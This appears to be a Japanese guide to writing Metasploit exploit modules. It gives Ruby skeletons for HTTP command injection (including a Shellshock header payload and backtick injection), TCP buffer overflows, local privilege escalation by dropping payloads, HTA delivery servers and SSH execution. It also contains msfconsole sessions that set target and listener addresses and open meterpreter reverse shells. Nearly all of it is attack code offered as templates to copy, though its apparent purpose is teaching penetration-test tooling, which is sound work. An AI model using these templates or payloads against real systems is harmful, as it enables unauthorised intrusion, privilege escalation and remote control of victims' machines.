Exploit
exploit は ペイロードを実行して新しいセッションを開く モジュールです。参照は packages/metasploit-framework/modules/exploits/ です。ペイロードモジュール自体は自作せず、既存の windows/x64/meterpreter/reverse_tcp などを使います。
共通手順は 共通手順 です。ここでは exploit 特有の型、操作例、書き方の参考モジュールをまとめます。
基底の選び方
Section titled “基底の選び方”| 状況 | 基底 |
|---|---|
| ネットワークサービス / Web へ届ける | Msf::Exploit::Remote |
| 既存セッション上で特権昇格し、別セッションを返す | Msf::Exploit::Local |
書き方の参考になるモジュール
Section titled “書き方の参考になるモジュール”学習・模倣の起点として、次を推奨します(名前は use に渡すパス)。
| 参考モジュール | 学べること |
|---|---|
exploits/example | TCP connect → buffer → handler の最小形 |
exploits/example_webapp | HttpClient、ログイン、keep_cookies、multipart、check |
exploits/example_linux_priv_esc | Local exploit の骨格 |
exploit/linux/http/supervisor_xmlrpc_exec | HTTP + CmdStager + Basic 認証 + check |
exploit/unix/webapp/byob_unauth_rce | 自己登録とログインを分け、認証後に RCE を実行する流れ |
exploit/linux/http/suitecrm_log_file_rce | authenticate unless @authenticated で認証を一度だけ行う流れ |
exploit/linux/http/apache_continuum_cmd_exec | HTTP command injection 系 |
exploit/multi/http/apache_mod_cgi_bash_env_exec | 有名な CGI/env 注入パターン |
exploit/multi/ssh/sshexec | SSH 経由の execute_command |
exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec | Local PE + AutoCheck + FileDropper + Post mixins |
exploit/windows/misc/hta_server | HttpServer でクライアントに配る |
exploit/multi/handler | 外部で起動したペイロードの待ち受け(自作不要) |
よくある型と骨格
Section titled “よくある型と骨格”同じ「HTTP RCE」でも、注入点・認証・CmdStager の有無で形が変わります。ここでは型ごとに複数パターンを並べます。
1. HTTP command injection / RCE
Section titled “1. HTTP command injection / RCE”1a. XML / Basic 認証 + CmdStager(supervisor_xmlrpc_exec 系)
Section titled “1a. XML / Basic 認証 + CmdStager(supervisor_xmlrpc_exec 系)”class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager
def check params = { 'method' => 'GET', 'uri' => normalize_uri('/') } unless datastore['HttpUsername'].to_s.empty? params['authorization'] = basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) end res = send_request_cgi(params) return CheckCode::Unknown('no response') if res.nil? CheckCode::Appears end
def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'ctype' => 'text/xml', 'data' => build_xml(cmd) ) end
def exploit execute_cmdstager(linemax: 1500) endend1b. フォーム POST の 1 フィールドにバッククォート注入(apache_continuum_cmd_exec 系)
Section titled “1b. フォーム POST の 1 フィールドにバッククォート注入(apache_continuum_cmd_exec 系)”CmdStager は使うが、配送口は単純な vars_post です。
def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => '/continuum/saveInstallation.action', 'vars_post' => { 'installation.name' => Rex::Text.rand_text_alpha(8), 'installation.type' => 'jdk', 'installation.varValue' => '`' + cmd + '`' } )end
def exploit execute_cmdstagerend1c. GET + SOAP / 独自ヘッダ(dlink_upnp_exec_noauth 系)
Section titled “1c. GET + SOAP / 独自ヘッダ(dlink_upnp_exec_noauth 系)”vars_get と raw XML data、追加 headers を併用します。flavor を明示します。
def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => '/soap.cgi', 'vars_get' => { 'service' => 'WANIPConn1' }, 'ctype' => 'text/xml', 'headers' => { 'SOAPAction' => 'urn:...#AddPortMapping' }, 'data' => soap_envelope_with("`#{cmd}`") )end
def exploit execute_cmdstager(flavor: :echo, linemax: 400)end1d. Header 注入(Shellshock 系 / apache_mod_cgi_bash_env_exec)
Section titled “1d. Header 注入(Shellshock 系 / apache_mod_cgi_bash_env_exec)”コマンドを本文ではなくヘッダ値に載せます。
def execute_command(cmd, _opts = {}) send_request_cgi( { 'method' => datastore['METHOD'], 'uri' => normalize_uri(target_uri.path), 'headers' => { datastore['HEADER'] => "() { :;}; #{cmd}" } }, datastore['TIMEOUT'] )end
def exploit execute_cmdstager(linemax: datastore['CMD_MAX_LENGTH'], nodelete: true)end1e. ログイン後に Cookie 付きで RCE(example_webapp 系)
Section titled “1e. ログイン後に Cookie 付きで RCE(example_webapp 系)”先に認証し、keep_cookies で後続リクエストへ引き継ぎます。短い cmd ペイロードなら CmdStager なしでも可です。
def exploit res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'keep_cookies' => true, 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) fail_with(Failure::NoAccess, 'login failed') unless res && res.code == 301
send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'command.html'), 'vars_post' => { 'cmd_str' => payload.encoded } )end1f. 自己登録 → ログイン → JSON API RCE
Section titled “1f. 自己登録 → ログイン → JSON API RCE”公開登録がある Web アプリで、フォーム認証後に JSON API へコマンドを送る例です。AutoCheck は check を実行し、CmdStager は execute_command を複数回呼びます。登録とログインは execute_command の外に置き、同じ実行中に繰り返さないようにします。
prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStager
def authenticate return true if @authenticated
user = datastore['USERNAME'] pass = datastore['PASSWORD']
send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'register'), 'vars_post' => { 'username' => user, 'password' => pass } )
res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true, 'vars_post' => { 'username' => user, 'password' => pass } ) return false if res.nil? || !(res.code == 200 || res.redirect?)
@authenticated = true trueend
def check return CheckCode::Unknown('login failed') unless authenticate
res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'run_code'), 'ctype' => 'application/json', 'data' => { 'code' => '1' }.to_json ) return CheckCode::Unknown('no response') if res.nil? json = res.get_json_document return CheckCode::Appears if res.code == 200 && json.is_a?(Hash) && json.key?('result')
CheckCode::Safeend
def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'run_code'), 'ctype' => 'application/json', 'data' => { 'code' => cmd }.to_json )end
def exploit fail_with(Failure::NoAccess, 'login failed') unless authenticate
if target['Type'] == :unix_cmd execute_command(payload.encoded) else execute_cmdstager endend- 登録応答にセッション Cookie が含まれない場合、
keep_cookiesはログイン時だけで足ります。後続の JSON POST にcookieキーを指定する必要はありません。 execute_commandはコマンドの送信だけを担当します。ここで認証すると、CmdStager が呼ぶたびに同じ処理が繰り返されます。- 成功判定は対象 API の応答に合わせます。HTTP 200 と JSON を返すエンドポイントでは、ステータスコードと
get_json_documentのキーを確認します。 USERNAME/PASSWORDはregister_optionsのOptStringで既定値を設定し、datastoreから読みます。
リクエスト opts の詳細は send_request_cgi です。
1g. cmd target と dropper target を分ける
Section titled “1g. cmd target と dropper target を分ける”'Targets' => [ ['Unix Command', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] }], ['Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'CmdStagerFlavor' => ['bourne', 'curl'] }]]
def exploit if target['Arch'] == ARCH_CMD execute_command(payload.encoded) else execute_cmdstager(linemax: 1500, background: true) endend2. TCP binary exploit
Section titled “2. TCP binary exploit”2a. 定番バッファ + ハンドラ(exploits/example)
Section titled “2a. 定番バッファ + ハンドラ(exploits/example)”class MetasploitModule < Msf::Exploit::Remote include Exploit::Remote::Tcp
def exploit connect buf = rand_text_alpha(1024) buf << [target.ret].pack('V') buf << payload.encoded sock.put(buf) handler ensure disconnect endend2b. check でバナー確認してから送る
Section titled “2b. check でバナー確認してから送る”def check connect banner = sock.get_once(1024, 3).to_s disconnect return CheckCode::Appears if banner.include?('VulnerableService') CheckCode::Saferescue Rex::ConnectionError CheckCode::Unknownend
def exploit fail_with(Failure::NotVulnerable, 'check failed') unless check == CheckCode::Appears connect sock.put(build_buffer) handlerensure disconnectend2c. 複数回のやり取り(プロトコル対話)
Section titled “2c. 複数回のやり取り(プロトコル対話)”def exploit connect sock.put("HELLO\r\n") sock.get_once sock.put(auth_packet) sock.get_once sock.put(payload_packet) handlerensure disconnectend3. Local privilege escalation
Section titled “3. Local privilege escalation”3a. AutoCheck + ファイル配置(pwnkit / example_linux_priv_esc 系)
Section titled “3a. AutoCheck + ファイル配置(pwnkit / example_linux_priv_esc 系)”class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper
def check return CheckCode::Safe unless readable?('/usr/bin/pkexec') CheckCode::Appears end
def exploit path = '/tmp/' + Rex::Text.rand_text_alpha(8) write_file(path, generate_payload_exe) chmod(path, 0o755) register_file_for_cleanup(path) cmd_exec("#{path} &") endend3b. 既存バイナリだけを突く(追加ファイルを置かない)
Section titled “3b. 既存バイナリだけを突く(追加ファイルを置かない)”def exploit # SUID や sudo ルールを利用し、payload は env / 引数経由 cmd_exec("env x='() { :;}; #{payload.encoded}' /usr/bin/vulnerable")end3c. Windows local(セッション上で EXE 生成)
Section titled “3c. Windows local(セッション上で EXE 生成)”class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Priv include Msf::Exploit::EXE include Msf::Exploit::FileDropper
def exploit fail_with(Failure::None, 'already SYSTEM') if is_system? exe = generate_payload_exe path = expand_path('%TEMP%\\') + Rex::Text.rand_text_alpha(8) + '.exe' write_file(path, exe) register_file_for_cleanup(path) cmd_exec("cmd.exe /c #{path}") endend4. クライアント側(HttpServer)
Section titled “4. クライアント側(HttpServer)”4a. HTA / 単一 URI(hta_server 系)
Section titled “4a. HTA / 単一 URI(hta_server 系)”class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer
def on_request_uri(cli, _request) p = regenerate_payload(cli) send_response(cli, build_hta(p), 'Content-Type' => 'application/hta') endend4b. HTML + 追加 resource
Section titled “4b. HTML + 追加 resource”def primer hardcoded_uripath('/payload.bin')end
def on_request_uri(cli, request) if request.uri.end_with?('/payload.bin') send_response(cli, regenerate_payload(cli).encoded, 'Content-Type' => 'application/octet-stream') else send_response(cli, %|<a href="#{get_uri}/payload.bin">dl</a>|, 'Content-Type' => 'text/html') endend4c. リダイレクトで誘導
Section titled “4c. リダイレクトで誘導”def on_request_uri(cli, request) if request.uri.include?('landing') send_redirect(cli, "#{get_uri}/run.hta") else send_response(cli, build_hta(regenerate_payload(cli)), 'Content-Type' => 'application/hta') endend5. SSH 経由(sshexec 系)
Section titled “5. SSH 経由(sshexec 系)”5a. ログイン後に exec! で CmdStager
Section titled “5a. ログイン後に exec! で CmdStager”def execute_command(cmd, _opts = {}) Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }rescue Timeout::Error print_warning('command timed out')end
def exploit do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT']) execute_cmdstager(linemax: 500)end5b. Interactive SSH(socket をハンドラに渡す)
Section titled “5b. Interactive SSH(socket をハンドラに渡す)”def exploit do_login(...) if target.name == 'Interactive SSH' handler(ssh_socket) return end execute_command(payload.encoded)end5c. Python 一行でペイロードを流す
Section titled “5c. Python 一行でペイロードを流す”def execute_python execute_command("echo \"#{payload.encoded}\" | python3")end
def exploit do_login(...) case target['Platform'] when 'python' then execute_python else execute_cmdstager(linemax: 500) endend6. 汎用ハンドラ(自作しないが型として覚える)
Section titled “6. 汎用ハンドラ(自作しないが型として覚える)”exploit/multi/handler は脆弱性を突かず、外部で起動したペイロードを受けます。骨格は「Targets / Payload を広く取り、exploit でハンドラ待ち」です。
HTTP RCE(Supervisor)
Section titled “HTTP RCE(Supervisor)”use exploit/linux/http/supervisor_xmlrpc_execset RHOSTS 10.10.11.123set LHOST 10.10.16.10set HttpUsername userset HttpPassword 123checkexploitsessions -l汎用ハンドラ(外部で起動した reverse を受ける)
Section titled “汎用ハンドラ(外部で起動した reverse を受ける)”use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.10.16.10set LPORT 4444set ExitOnSession falserun -jSSH でコマンド実行 / interact
Section titled “SSH でコマンド実行 / interact”use exploit/multi/ssh/sshexecshow targetsset TARGET <ssh_interact の id>set RHOSTS 10.10.11.123set USERNAME svcset PASSWORD '...'set payload generic/ssh/interactrunsessions -lLocal PE(既存セッションが必要)
Section titled “Local PE(既存セッションが必要)”sessions -luse exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecset SESSION 1set LHOST 10.10.16.10checkrunsessions -lHTA 配信
Section titled “HTA 配信”use exploit/windows/misc/hta_serverset SRVHOST 10.10.16.10set SRVPORT 8080set URIPATH /payloadset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.10.16.10run# 表示 URL を対象ブラウザで開かせるWebapp 雛形を自作パスで試す
Section titled “Webapp 雛形を自作パスで試す”# ~/.msf4/modules/exploits/linux/http/myapp_rce.rb を置いたあとreload_lib -ause exploit/linux/http/myapp_rceshow optionsset RHOSTS 10.10.11.123set TARGETURI /app/set LHOST 10.10.16.10checkrunペイロードの扱い(自作しない前提)
Section titled “ペイロードの扱い(自作しない前提)”| やること | 方法 |
|---|---|
| 使えるペイロードを絞る | update_info の Platform / Arch / Payload BadChars |
| 利用者が選ぶ | set payload ... / show payloads |
| コードから送る | payload.encoded |
| 長い binary を分割 | CmdStager + execute_command |
show payloadsset payload linux/x64/meterpreter/reverse_tcpset LHOST 10.10.16.10
